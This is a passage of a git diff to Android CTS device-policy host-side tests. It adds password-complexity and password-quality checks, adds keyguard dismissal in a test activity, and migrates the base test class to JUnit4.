 import static com.google.common.truth.Truth.assertThat;
 
@@ -44,6 +43,17 @@
         assertThat(actualPasswordHistoryLength).isEqualTo(passwordHistoryLength);
     }
 
+    public void testGetPasswordComplexity_onParent() {
+        if (!mHasSecureLockScreen) {
+            return;
+        }
+
+        final int actualPasswordComplexity =
+                mParentDevicePolicyManager.getPasswordComplexity();
+        assertThat(actualPasswordComplexity).isEqualTo(
+                DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+    }
+
     public void testSetAndGetPasswordExpirationTimeout_onParent() {
         if (!mHasSecureLockScreen) {
             return;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index 17cea9b..bb9be13 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -23,8 +23,8 @@
 
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.Collection;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.List;
 import java.util.Set;
 import java.util.stream.Collectors;
@@ -64,6 +64,7 @@
             .add("setPasswordExpirationTimeout")
             .add("getPasswordExpiration")
             .add("getPasswordMaximumLength")
+            .add("getPasswordComplexity")
             .add("isActivePasswordSufficient")
             .add("getCurrentFailedPasswordAttempts")
             .add("getMaximumFailedPasswordsForWipe")
@@ -78,6 +79,7 @@
             .add("getRequiredStrongAuthTimeout")
             .add("setRequiredStrongAuthTimeout")
             .add("isDeviceIdAttestationSupported")
+            .add("isUniqueDeviceAttestationSupported")
             .build();
 
     private static final String LOG_TAG = "ParentProfileTest";
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index 30abf94..e498048 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -34,7 +34,10 @@
         <activity android:name=".NonLauncherActivity">
             android:exported="true">
         </activity>
-        <activity android:name=".SimpleActivityStartService" android:exported="true" />
+        <activity android:name=".SimpleActivityStartService"
+            android:turnScreenOn="true"
+            android:excludeFromRecents="true"
+            android:exported="true" />
         <activity android:name=".SimpleActivityStartFgService" android:exported="true" />
         <activity android:name=".SimpleActivityImmediateExit" >
             <intent-filter>
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/OWNERS b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
new file mode 100644
index 0000000..d9a2060
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimpleApp/OWNERS
@@ -0,0 +1,2 @@
+ctate@google.com
+hackbod@google.com
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
index cda6b6a..0813c24 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityStartService.java
@@ -17,8 +17,12 @@
 package com.android.cts.launcherapps.simpleapp;
 
 import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.Handler;
+import android.util.Log;
 
 /**
  * Test being able to start a service (with no background check restrictions) as soon as
@@ -31,18 +35,34 @@
             "com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
 
     @Override
-    public void onCreate(Bundle icicle) {
+    protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        attemptStartService();
-        finish();
-    }
+        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
+                new KeyguardDismissCallback() {
+            @Override
+            public void onDismissCancelled() {
+                Log.i(TAG, "onDismissCancelled");
+            }
 
-    @Override
-    public void onStart() {
-        super.onStart();
+            @Override
+            public void onDismissError() {
+                Log.i(TAG, "onDismissError");
+            }
+
+            @Override
+            public void onDismissSucceeded() {
+                Log.i(TAG, "onDismissSucceeded");
+            }
+        });
+        // No matter if the dismiss was successful or not, continue the test after 2000ms
+        (new Handler()).postDelayed(()-> {
+            attemptStartService();
+            finish();
+        }, 2000);
     }
 
     void attemptStartService() {
+        Log.i(TAG, "attemptStartService");
         Intent reply = new Intent(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
         reply.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         Intent serviceIntent = getIntent().getParcelableExtra("service");
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index f39dbbe..7fecb35 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.testng.Assert.assertThrows;
 
+import android.app.admin.DevicePolicyManager;
 import android.app.admin.SystemUpdatePolicy;
 
 import androidx.test.filters.SmallTest;
@@ -37,6 +38,9 @@
         assertTrue(mDevicePolicyManager.getCameraDisabled(mIncomingComponentName));
         assertEquals(Collections.singletonList("test.package"),
                 mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
+        assertEquals(
+                DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
+                mDevicePolicyManager.getPasswordQuality(mIncomingComponentName));
         assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
         assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
                 mDevicePolicyManager.getSystemUpdatePolicy());
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
index 4dc9a5b..92c63c0 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferProfileOwnerIncomingTest.java
@@ -36,9 +36,13 @@
         assertTrue(mDevicePolicyManager.getCameraDisabled(mIncomingComponentName));
         assertTrue(mDevicePolicyManager.getCrossProfileCallerIdDisabled(mIncomingComponentName));
         assertEquals(
+                DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
+                mDevicePolicyManager.getPasswordQuality(mIncomingComponentName));
+        assertEquals(
                 passwordLength,
                 mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
 
+
         DevicePolicyManager targetParentProfileInstance =
                 mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
         if (mHasSecureLockScreen) {
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index b42b2bd..365c154 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -43,6 +43,8 @@
     public void testTransferWithPoliciesOutgoing() throws Throwable {
         int passwordLength = 123;
         mDevicePolicyManager.setCameraDisabled(mOutgoingComponentName, true);
+        mDevicePolicyManager.setPasswordQuality(
+                mOutgoingComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
         mDevicePolicyManager.setPasswordMinimumLength(mOutgoingComponentName, passwordLength);
         mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
                 Collections.singletonList("test.package"));
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
index 157e840..cebeaf1 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferProfileOwnerOutgoingTest.java
@@ -43,6 +43,8 @@
         DevicePolicyManager parentDevicePolicyManager =
                 mDevicePolicyManager.getParentProfileInstance(mOutgoingComponentName);
         mDevicePolicyManager.setCameraDisabled(mOutgoingComponentName, true);
+        mDevicePolicyManager.setPasswordQuality(
+                mOutgoingComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
         mDevicePolicyManager.setPasswordMinimumLength(mOutgoingComponentName, passwordLength);
         mDevicePolicyManager.setCrossProfileCallerIdDisabled(mOutgoingComponentName, true);
         parentDevicePolicyManager.setPasswordExpirationTimeout(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
index a79ae11..24502bb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AccountCheckHostSideTest.java
@@ -16,13 +16,18 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.tradefed.log.LogUtil.CLog;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import junit.framework.AssertionFailedError;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
 
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+import org.junit.Test;
+
 public class AccountCheckHostSideTest extends BaseDevicePolicyTest {
     private static final String APK_NON_TEST_ONLY = "CtsAccountCheckNonTestOnlyOwnerApp.apk";
     private static final String APK_TEST_ONLY = "CtsAccountCheckTestOnlyOwnerApp.apk";
@@ -44,7 +49,7 @@
             "com.android.cts.devicepolicy.accountcheck.AccountCheckTest";
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             if (getDevice().getInstalledPackageNames().contains(PACKAGE_AUTH)) {
                 runCleanupTestOnlyOwnerAllowingFailure();
@@ -73,7 +78,7 @@
     private void runCleanupTestOnlyOwnerAllowingFailure() throws Exception {
         try {
             runCleanupTestOnlyOwner();
-        } catch (AssertionFailedError ignore) {
+        } catch (AssertionError ignore) {
         }
     }
 
@@ -84,7 +89,7 @@
     private void runCleanupNonTestOnlyOwnerAllowingFailure() throws Exception {
         try {
             runCleanupNonTestOnlyOwner();
-        } catch (AssertionFailedError ignore) {
+        } catch (AssertionError ignore) {
         }
     }
 
@@ -95,7 +100,7 @@
     private void removeAllAccountsAllowingFailure() throws Exception {
         try {
             removeAllAccounts();
-        } catch (AssertionFailedError ignore) {
+        } catch (AssertionError ignore) {
         }
     }
 
@@ -147,6 +152,8 @@
         return Integer.parseInt(count) > 0;
     }
 
+    @Test
+    @LargeTest
     public void testAccountCheck() throws Exception {
         if (!mHasFeature) {
             return;
@@ -239,6 +246,7 @@
      * Make sure even if the "test-only" flag changes when an app is updated, we still respect
      * the original value.
      */
+    @Test
     public void testInheritTestOnly() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index 6e9ed7e..cd19f68 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -19,6 +19,7 @@
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -26,10 +27,12 @@
 
 import android.stats.devicepolicy.EventId;
 
+import org.junit.Test;
+
 public class AdbProvisioningTests extends BaseDevicePolicyTest {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         if (!mHasFeature) {
             return;
         }
@@ -38,7 +41,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (!mHasFeature) {
             return;
         }
@@ -46,8 +49,9 @@
         getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
     }
 
+    @Test
     public void testAdbDeviceOwnerLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -60,8 +64,9 @@
                     .build());
     }
 
+    @Test
     public void testAdbProfileOwnerLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
index 8141b11..4590936 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
@@ -15,8 +15,12 @@
  */
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import org.junit.Test;
+
 import javax.annotation.Nonnull;
 import javax.annotation.Nullable;
 
@@ -48,7 +52,7 @@
     }
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mUserId = mPrimaryUserId;
@@ -60,7 +64,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
             getDevice().uninstallPackage(getDeviceAdminApkPackage());
@@ -83,6 +87,7 @@
     /**
      * Run all tests in DeviceAdminTest.java (as device admin).
      */
+    @Test
     public void testRunDeviceAdminTest() throws Exception {
         if (!mHasFeature) {
             return;
@@ -90,6 +95,7 @@
         runTests(getDeviceAdminApkPackage(), "DeviceAdminTest");
     }
 
+    @Test
     public void testResetPassword_nycRestrictions() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -110,6 +116,7 @@
     /**
      * Run the tests in DeviceOwnerPasswordTest.java (as device owner).
      */
+    @Test
     public void testRunDeviceOwnerPasswordTest() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
index f0b8279..f76e262 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
@@ -15,8 +15,12 @@
  */
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.fail;
+
 import com.android.tradefed.log.LogUtil.CLog;
 
+import org.junit.Test;
+
 import java.util.concurrent.TimeUnit;
 
 public abstract class BaseDeviceAdminServiceTest extends BaseDevicePolicyTest {
@@ -46,14 +50,14 @@
     private boolean mMultiUserSupported;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (isTestEnabled()) {
             removeAdmin(OWNER_COMPONENT, getUserId());
             removeAdmin(OWNER_COMPONENT_B, getUserId());
@@ -99,6 +103,7 @@
 
     protected abstract void setAsOwnerOrFail(String component) throws Exception;
 
+    @Test
     public void testAll() throws Throwable {
         if (!isTestEnabled()) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index e374136..a7f9639 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -16,10 +16,16 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,11 +36,16 @@
 import com.android.tradefed.result.TestDescription;
 import com.android.tradefed.result.TestResult;
 import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.TarUtil;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -47,6 +58,8 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 import javax.annotation.Nullable;
 
@@ -54,7 +67,8 @@
  * Base class for device policy tests. It offers utility methods to run tests, set device or profile
  * owner, etc.
  */
-public class BaseDevicePolicyTest extends DeviceTestCase implements IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test implements IBuildReceiver {
 
     @Option(
             name = "skip-device-admin-feature-check",
@@ -80,9 +94,6 @@
      */
     private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
 
-    /** instrumentation test runner argument key used for individual test timeout */
-    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
     /**
      * Sets timeout (in milliseconds) that will be applied to each test. In the
      * event of a test timeout it will log the results and proceed with executing the next test.
@@ -101,7 +112,6 @@
     private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(5);
 
     // From the UserInfo class
-    protected static final int FLAG_PRIMARY = 0x00000001;
     protected static final int FLAG_GUEST = 0x00000004;
     protected static final int FLAG_EPHEMERAL = 0x00000100;
     protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
@@ -120,14 +130,6 @@
      */
     protected static final int USER_ALL = -1;
 
-    protected static interface Settings {
-        public static final String GLOBAL_NAMESPACE = "global";
-        public static interface Global {
-            public static final String DEVICE_PROVISIONED = "device_provisioned";
-        }
-    }
-
-    protected IBuildInfo mCtsBuild;
     protected CompatibilityBuildHelper mBuildHelper;
     private String mPackageVerifier;
     private HashSet<String> mAvailableFeatures;
@@ -159,15 +161,9 @@
 
     private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertNotNull(mCtsBuild);  // ensure build has been set before test is run.
+    @Before
+    public void setUp() throws Exception {
+        assertNotNull(getBuild());  // ensure build has been set before test is run.
         mHasFeature = getDevice().getApiLevel() >= 21; /* Build.VERSION_CODES.L */
         if (!mSkipDeviceAdminFeatureCheck) {
             mHasFeature = mHasFeature && hasDeviceFeature("android.software.device_admin");
@@ -176,14 +172,14 @@
         mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
         mHasTelephony = hasDeviceFeature("android.hardware.telephony");
         mFixedPackages = getDevice().getInstalledPackageNames();
-        mBuildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        mBuildHelper = new CompatibilityBuildHelper(getBuild());
 
         mHasSecureLockScreen = hasDeviceFeature("android.software.secure_lock_screen");
 
         // disable the package verifier to avoid the dialog when installing an app
         mPackageVerifier = getDevice().executeShellCommand(
-                "settings get global package_verifier_enable");
-        getDevice().executeShellCommand("settings put global package_verifier_enable 0");
+                "settings get global verifier_verify_adb_installs");
+        getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
 
         mFixedUsers = new ArrayList<>();
         mPrimaryUserId = getPrimaryUser();
@@ -218,10 +214,10 @@
         executeShellCommand("input keyevent KEYCODE_HOME");
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         // reset the package verifier setting to its original value
-        getDevice().executeShellCommand("settings put global package_verifier_enable "
+        getDevice().executeShellCommand("settings put global verifier_verify_adb_installs "
                 + mPackageVerifier);
         removeOwners();
 
@@ -231,7 +227,6 @@
         }
         removeTestUsers();
         removeTestPackages();
-        super.tearDown();
     }
 
     protected void installAppAsUser(String appFileName, int userId) throws FileNotFoundException,
@@ -247,8 +242,8 @@
     protected void installAppAsUser(String appFileName, boolean grantPermissions,
             boolean dontKillApp, int userId)
                     throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName + " for user " + userId);
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        CLog.e("Installing app " + appFileName + " for user " + userId);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         List<String> extraArgs = new LinkedList<>();
         extraArgs.add("-t");
         if (dontKillApp) extraArgs.add("--dont-kill");
@@ -379,38 +374,15 @@
     }
 
     protected void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
-        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        try {
-            // we allow 8min for the command to complete and 4min for the command to start to
-            // output something
-            getDevice().executeShellCommand(
-                    "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
-        } finally {
-            String output = receiver.getOutput();
-            CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
-            if (!output.contains("All broadcast queues are idle!")) {
-                // Gather the system_server dump data for investigation.
-                File heapDump = getDevice().dumpHeap("system_server", "/data/local/tmp/dump.hprof");
-                if (heapDump != null) {
-                    // If file is too too big, tar if with TarUtil.
-                    String pid = getDevice().getProcessPid("system_server");
-                    // gzip the file it's quite big
-                    File heapDumpGz = TarUtil.gzip(heapDump);
-                    try (FileInputStreamSource source = new FileInputStreamSource(heapDumpGz)) {
-                        addTestLog(
-                                String.format("system_server_dump.%s.%s.hprof",
-                                        pid, getDevice().getDeviceDate()),
-                                LogDataType.GZIP, source);
-                    } finally {
-                        FileUtil.deleteFile(heapDump);
-                    }
-                } else {
-                    CLog.e("Failed to capture the dumpheap from system_server");
-                }
-                // the call most likely failed we should fail the test
-                fail("'am wait-for-broadcase-idle' did not complete.");
-                // TODO: consider adding a reboot or recovery before failing if necessary
-            }
+        final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        // We allow 8min for the command to complete and 4min for the command to start to
+        // output something.
+        getDevice().executeShellCommand(
+                "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
+        final String output = receiver.getOutput();
+        if (!output.contains("All broadcast queues are idle!")) {
+            CLog.e("Output from 'am wait-for-broadcast-idle': %s", output);
+            fail("'am wait-for-broadcase-idle' did not complete.");
         }
     }
 
@@ -479,12 +451,6 @@
         runDeviceTestsAsUser(pkgName, testClassName, testMethodName, userId, params);
     }
 
-    protected void runDeviceTests(
-            String pkgName, @Nullable String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(pkgName, testClassName, testMethodName, mPrimaryUserId);
-    }
-
     protected void runDeviceTestsAsUser(
             String pkgName, @Nullable String testClassName,
             @Nullable String testMethodName, int userId,
@@ -493,46 +459,19 @@
             testClassName = pkgName + testClassName;
         }
 
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, RUNNER, getDevice().getIDevice());
-        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-        testRunner.addInstrumentationArg(
-                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        for (Map.Entry<String, String> param : params.entrySet()) {
-            testRunner.addInstrumentationArg(param.getKey(), param.getValue());
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener);
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
+        runDeviceTests(
+                getDevice(),
+                RUNNER,
+                pkgName,
+                testClassName,
+                testMethodName,
+                userId,
+                DEFAULT_TEST_TIMEOUT_MILLIS,
+                DEFAULT_SHELL_TIMEOUT_MILLIS,
+                0L /* maxInstrumentationTimeoutMs */,
+                true /* checkResults */,
+                false /* isHiddenApiCheckDisabled */,
+                params);
     }
 
     /** Reboots the device and block until the boot complete flag is set. */
@@ -577,32 +516,6 @@
         return listRunningUsers().size() + numberOfUsers <= getMaxNumberOfRunningUsersSupported();
     }
 
-    protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
-        if (mAvailableFeatures == null) {
-            // TODO: Move this logic to ITestDevice.
-            String command = "pm list features";
-            String commandOutput = getDevice().executeShellCommand(command);
-            CLog.i("Output for command " + command + ": " + commandOutput);
-
-            // Extract the id of the new user.
-            mAvailableFeatures = new HashSet<>();
-            for (String feature: commandOutput.split("\\s+")) {
-                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-                String[] tokens = feature.split(":");
-                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
-                        tokens.length > 1);
-                assertEquals(feature, "feature", tokens[0]);
-                mAvailableFeatures.add(tokens[1]);
-            }
-        }
-        boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.d("Device doesn't have required feature "
-            + requiredFeature + ". Test won't run.");
-        }
-        return result;
-    }
-
     protected int createUser() throws Exception {
         int userId = createUser(0);
         // TODO remove this and audit tests so they start users as necessary
@@ -668,21 +581,15 @@
 
     protected int getUserSerialNumber(int userId) throws DeviceNotAvailableException{
         // TODO: Move this logic to ITestDevice.
-        // dumpsys user return lines like "UserInfo{0:Owner:13} serialNo=0"
-        String commandOutput = getDevice().executeShellCommand("dumpsys user");
-        String[] tokens = commandOutput.split("\\n");
-        for (String token : tokens) {
-            token = token.trim();
-            if (token.contains("UserInfo{" + userId + ":")) {
-                String[] split = token.split("serialNo=");
-                assertTrue(split.length == 2);
-                int serialNumber = Integer.parseInt(split[1]);
-                CLog.d("Serial number of user " + userId + ": "
-                        + serialNumber);
-                return serialNumber;
-            }
+        // dumpsys user output contains lines like "UserInfo{0:Owner:13} serialNo=0 isPrimary=true"
+        final Pattern pattern =
+                Pattern.compile("UserInfo\\{" + userId + ":[^\\n]*\\sserialNo=(\\d+)\\s");
+        final String commandOutput = getDevice().executeShellCommand("dumpsys user");
+        final Matcher matcher = pattern.matcher(commandOutput);
